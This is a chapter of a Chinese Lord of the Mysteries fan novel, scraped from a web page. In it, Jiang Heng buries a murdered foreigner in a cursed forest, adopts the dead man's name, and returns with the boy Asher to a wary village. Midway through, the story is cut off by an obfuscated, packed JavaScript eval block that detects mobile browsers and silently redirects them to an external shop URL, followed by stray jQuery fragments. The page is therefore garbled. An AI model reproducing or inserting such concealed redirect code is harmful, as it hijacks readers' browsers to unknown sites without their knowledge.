文趣网 > 其他小说 > 咸鱼也能当愚者的眷者吗?[诡秘之主] > 3. 我叫西泽尔·瓦伦丁
    林间遍布针叶林、桦树林,走深后光线便被各种长势怪异扭曲的树木遮挡起来。

    姜恒其实已经忘记来时路,他既要观察眼熟的参考物,又要防备可能会出现的外人。

    卡勒姆相当慷慨,提醒道:“不不不,你应该向你的左手边走,往右手边只能得到一条不归路。”

    姜恒在岔路口左右观察:“你还会向昨天一样耍我吗?”

    昨夜寻找洞穴给了他警示,不能太相信这个成精的贴片。

    卡勒姆语气耷拉下去:“人与人之间的信任只需要一次引路便破碎了,瞧,多么脆弱,可悲,我还是继续沉睡下去吧。”

    姜恒嘴角微微提起:“修补信任也很简单,如果你记得来时路,请带我去正确的方向,好吗?”

    他礼貌的语气足够取悦任何人,卡勒姆当即表示:“嘿,当然没问题,这是朋友之间应该做的。”

    重走一次昨晚的路,距离比体感的远,姜恒成功回到最初发现尸骸的地方。

    这里已经没有那三个人的气息,他放心地靠近尸体。

    尸体仰躺在枯木上,胸口被剜出拳头大小的伤,已经干涸。

    他想起阿舍尔说这里是诅咒之林,会有怪物出没,警惕在他心底蔓延。

    “贴片先生,这个世界有怪物吗?”

    卡勒姆正通过他的视角津津有味地观察:“有,是一群相当可怜可恨的疯子。”

    姜恒环视周围,从尸体不远处捡到一支脱帽的钢笔。

    卡勒姆又道:“我忘记是哪一天醒来,大概是个天气不错的日子,我在一个生命学派的成员的掌心里醒来,他的掌心不像你的柔软,性格也比你生硬多了……”

    “生命学派”这四个字勾起了原身的记忆,原身对这个势力的印象是怪物和药师途径组成的神秘组织,有的充满了理性,但有的又不比极光会信徒疯狂多少。

    姜恒无视了卡勒姆忆往事的兴致。

    难道阿舍尔口中的“怪物”其实是怪物途径的非凡者?

    他顺着钢笔掉落的位置,一路捡到不少小东西,最后在一个落叶丛里发现了一张信封。

    他搜完所有的东西,再次回到尸骸旁边。

    “他不是阿舍尔的父亲。没有胡子,年纪也不符,瘦弱的体格更不像能和两米的熊较量的人。”姜恒下完初步结论后,抱着敬畏之心打开信封。

    “亲爱的西泽尔·瓦伦丁先生,当我知道你要去桦木村的时候,原谅我给你惹出这件大麻烦事,让你从繁华的因多来到这个名不经传的小村庄……”

    从信里,他知道了死者的姓名,并且死者是个孤零零的外国人,可惜信中并没有提到死者的身份。

    卡勒姆同样在看着这封信,他点评道:“弗萨克帝国的居民有巨人血统,身高分布在两米的有着可观的数量,如果他是外国人,这就可以解释他为什么像个小矮人……”

    比起贴片先生关注的碎碎念,姜恒更在意的是这位名叫西泽尔的可怜人的死因,胸前的伤口看上去并不像意外。

    他打开系统面板,可选的序列9选项里出现收尸人。

    卡勒姆好奇道:“狐狸先生,你在想什么?你现在看起来像是失去了灵魂的躯壳。”他想到重要的事情:“啊,我居然还不知道你的真名。”

    这个问题早在姜恒醒来时就思考过。

    原身给自己的代称是狐狸,真实身份或许只有授予他秘祈人魔药的人知道,而那个人早就杳无音讯,原身对其判断是失控了。

    “西泽尔……外国人……”姜恒犹豫地捏着这封信,一个不敬的想法浮上心头。

    他摁下系统面板的选项按钮,目前序列那一栏瞬间转变成收尸人。

    【目前序列:收尸人。

    规则一:当你靠近死亡之地时,你可以看见徘徊在此地的亡魂,请不要尝试与他们互动,你仅仅拥有看见的资格。

    规则二:无理智的亡灵不会主动伤害你,这是你的与生俱来的庇护,但正午直射的阳光会灼伤你,这是交换。

    规则三:你能本能分辨游荡灵体的危险程度,如果你看见主动观察并试图攻击你的灵体,这是恶灵,请立刻远离……】

    【可供选择:无,备注:冷却中。】

    姜恒成为收尸人后,明显感觉体温下降不少,就连情绪也像被泼了一盆冷水。

    特别是还有一股充斥着死亡和绝望的气息自远方而来,冷不丁让他打了一个寒颤。

    “这附近有墓地?”他若有所思地问卡勒姆。

    卡勒姆思索后答道:“不清楚,我所看到的一切,都是你能看到的,怎么?你感受到了什么?”

    姜恒抬头望了一眼远处的绵延向上的丛林:“只是一种不祥的感觉。”

    他收起那封信,下定决心后,蹲在尸骸旁边道:“被遗忘的先生,我已经看不到你的亡魂,我帮你下葬吧。”

    他手头没有工具,只能清理出一个相对干净的地方,收集着橙黄或嫩绿的落叶,帮尸体整理遗容,最后将这些落叶轻轻地撒在他的周围,并逐渐覆上他的面庞和躯体。

    卡勒姆低低地笑出声:“狐狸先生,你真浪漫。”

    姜恒做完这些事情后,靠在树上休息,毕竟搬运尸体,尤其是已经开始肿胀腐烂的尸体,还是相当疲乏的。

    他没能找到阿舍尔的父亲,但这也算是好消息,毕竟意味着,那名少年的父亲并没有被人挖去了脏器,还被抛尸野外。

    回到山洞,阿舍尔立马迎上来,他满怀期待地问:“先生,你有找到什么线索吗?”

    姜恒带着歉意地讲:“抱歉,我只找到了我的钢笔和我的信。”

    阿舍尔的目光瞬间低垂下来。

    姜恒又道:“幸运的是,我也遇到了你早上带给我的果子。”

    这果子是野生浆果,吃的越多,胃越难受,酸涩的口感并不美好。

    少年早就饿得打转,看见这果子,勉强地笑了一下。

    可姜恒又跟变戏法一样,从身后掏出一只兔子来,兔子被揪着耳朵,脚一直在蹬。

    少年两眼瞬间放光,也看出了眼前这位绅士在为寻找自己父亲下落的事情而上心,他因这样用心的对待而感到温暖不已,郑重道:“先生,感谢您,我知道不会这么快,父亲已经失踪了半个月,我没指望在这半天就能找到他的线索。”

    姜恒怜爱地摸了一下少年的头,夸道:“懂事的孩子,你父亲会安然无恙的。”

    晚上吃下几两肉,阿舍尔躺在他旁边,很好奇地问:“先生,我可以知道你的名字吗?你是来自哪里?我想你肯定不是本地人,这里的人都长得很高大。”

    姜恒平静的声音有着让人能静下心来的魔力:“……西泽尔,我叫西泽尔·瓦伦丁。”

    阿舍尔点点头:“瓦伦丁先生,我们明天开始找出去的路吧。”

    姜恒疑惑道:“那你父亲呢?”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967954|214571||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    阿舍尔摇摇头:“我是突然消失的,再不回去我母亲会担心我,她现在肯定满世界地在找我,她已经失去丈夫,不能再失去儿子了。”

    这事说来还有原身的锅,于是姜恒讪讪地说了一声“抱歉”。

    夜晚的温度又降下来,尤其是他变成收尸人后,体温冷得像是冰块,就连阿舍尔都不想靠近他。

    “西泽尔?哈!狐狸先生,这就是你给那位可怜人下葬的交换?”

    卡勒姆从他念出名字时,一直在笑着,现在终于能平静地跟他说话。

    姜恒的脸皮倒没有厚到稳如泰山的地步,小声说:“你也说过,危险有时是一种安全,如果极光会的人发现我是叛徒,他们或许以为我已经逃离这里,但实际上我只是换了一个身份继续在这里生活。”

    原身对自己的隐私保护得很好,基本不会留下可以被追踪的贴身物品。

    姜恒从一些记忆片段中知道这个世界有着占卜、通灵等等超凡力量,于是他更要小心了,留在本地经营自己的生活网才是眼下最重要的事情,外来人在这里太过于显眼,没有现成的身份还真是个麻烦的问题,像可怜的外国人瓦伦丁先生就很合适。

    卡勒姆连说两个“好吧”,表示他比起西泽尔·瓦伦丁,还是更愿意叫他“狐狸先生”。

    第二天他们开始寻找离开的路。

    卡勒姆的记忆相当好,姜恒从他的口中,发现对方甚至还记得原身与密修会联络时的地点。

    卡勒姆回味道:“狐狸先生,你又有事情要拜托我吗?好吧,我是看在你的手掌比起过去任何一位持有左轮的粗汉都要柔软,这大概是我无法拒绝的原因……”

    这个人总是带着轻佻的态度,姜恒经过一天的相处,已经习惯这种氛围,他带着阿舍尔走到联络地点后,少年突然扯着他的衣袖兴奋道:“我记得这里!是这里!你就在不远的距离把我给绑进了林子,瓦伦丁先生,我们应该往这里走!”

    一段话把姜恒说得面皮发紧,这小孩说话也太实诚了。他被扯着袖子往一条蜿蜒的道路走。

    很快他感觉到周围的树逐渐稀疏。

    密林的外围的不远处正围着几个穿着朴实粗布长裙的妇女,她们用两根木棒针正编织着,羊毛团就揣在围裙口,对着树林的方向时不时抬起头瞟一眼。

    “娜斯佳大婶!乐妮娅大婶!巴巴乌什卡奶奶!”阿舍尔看到她们后,激动得无以复加,一连喊出好几个名字。

    少年还想要牵着姜恒跑过去。

    姜恒在原地揪着对方,他不像阿舍尔激动得什么都顾不上。

    他清晰地看见几位既和蔼又有干练气质的妇女们正朝着阿舍尔露出不忍的表情。

    还有一位闻声后突然从平地冒出的蓄胡精壮大叔,朝阿舍尔喊道:“可爱的小阿舍尔,以及那位年轻的孩子,你们先在那里站着,不要从林子里出来,也不要随便走动,我这就把神父和卡琳娜叫过来!”

    姜恒想了一下,这才用弗萨克语朝他们喊道:“请问我们为什么不能出去?”

    大叔喊:“因为你们从诅咒之林里出来,这是为了大家的安全!”

    阿舍尔一听顿时哆嗦了一下,终于清醒冷静下来。

    姜恒不解地看向少年。

    少年很可怜地垂下脑袋:“是的,我忘了一件重要的事情,从诅咒之林里出来的人,都要经过神父亲自观察,并且必须在小黑房里待上一段时间才行。”